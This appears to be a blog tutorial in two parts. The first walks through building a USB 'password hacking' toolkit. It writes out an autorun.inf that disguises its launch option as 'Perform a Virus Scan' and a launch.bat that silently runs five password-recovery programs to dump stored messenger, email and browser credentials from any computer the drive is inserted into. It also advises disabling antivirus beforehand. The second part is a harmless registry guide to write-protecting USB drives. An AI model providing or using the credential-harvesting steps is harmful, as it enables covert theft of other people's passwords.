How to Hack Passwords Using a USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox.

There exists many tools for recovering these passswords from their stored places. Using these tools and a USB pen-drive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more.

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed:

Record Index, Web Site, User Name, Password, User Name Field and Password Field.

Preparing Your USB Drive for Password Hacking:

Here is a step by step procedure to create the password hacking toolkit:

You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
   ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe andpasswordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it:
   [autorun] open=launch.bat
   ACTION= Perform a Virus Scan
   save the Notepad and rename it from New Text Document.txt to autorun.inf. Nowcopy the autorun.inf file onto your USB pen-drive.
3. Create another Notepad and write the following text onto it:
   start mspass.exe /stext mspass.txt
   

   start mailpv.exe /stext mailpv.txt

   start iepv.exe /stext iepv.txt

   start pspv.exe /stext pspv.txt

   start passwordfox.exe /stext passwordfox.txt
   Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy thelaunch.bat file to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen-drive on on any computer to sniff the stored passwords. Just follow these steps:

1. Insert the pen-drive and the auto-run window will pop-up. (This is because, we have created an auto-run pen-drive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pen-drive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP, Vista and 7.

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

How to Write-Protect Your USB Flash Drive

Many a time, it becomes necessary for us to write protect our USB flash drive so as to protect it from viruses and other malware programs. As flash drives are so popular and most widely used to move data between computers, they are the prime target for attackers as a means to get infections spread around the computer world. Also, since USB drive is not a Read-Only Memory (ROM), the data inside it can easily be modified or deleted by malware programs.

But unfortunately, most of the new flash drives do not come with a write-protect feature as the manufacturers wish to cut down the cost of production. Hence, the only way to write-protect your USB flash drives is to enable this feature on your own computer.

Steps to Write-Protect Your USB Drive:

This can be done by adding a small entry to the Windows registry which acts as a switch that can be enabled to make use of the write protection or disabled to allow write access. Here we go:

1. Open the Registry Editor (Open the “Run” dialog box, type regedit and hit “Enter”).
2. Navigate to the following Registry key:
   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
3. Create a New Key named as StorageDevicePolicies. To do this, right-click on Control, again click on New -> Key and name it as StorageDevicePolicies.
4. Now right-click on  StorageDevicePolicies and create a New -> DWORD (32-bit) Valueand name it as WriteProtect.
   
5. Double-click on WriteProtect and set the Value data to 1.
   Now the right-protection for USB drives is enabled on your computer (no restart required) and thus it would not be possible for anyone or any program to add/delete the contents from your USB flash drive. Any attempt to copy or download the files onto the USB drive will result in the following error message being displayed.
   

To revert and remove the write-protection, all you need to do is just change the Value data forWriteProtect (Step-5) from 1 back to 0. Now write access to all the USB devices is re-enabled.

Sometimes it may seem difficult to remember and follow the above mentioned steps each time you want to enable/disable the write protection. Hence as an alternative way, there are many tools available to automatically enable/disable the write-protection feature. One of my favorite tool is USB Write Protect by Naresh Manadhar.

Using this tool, you can limit write access to your USB drives with just a click of a button. You can download this tool from the following link:

USBWriteProtect

I hope you’ve now understood how to enable or disable write-protection of USB devices on your computer.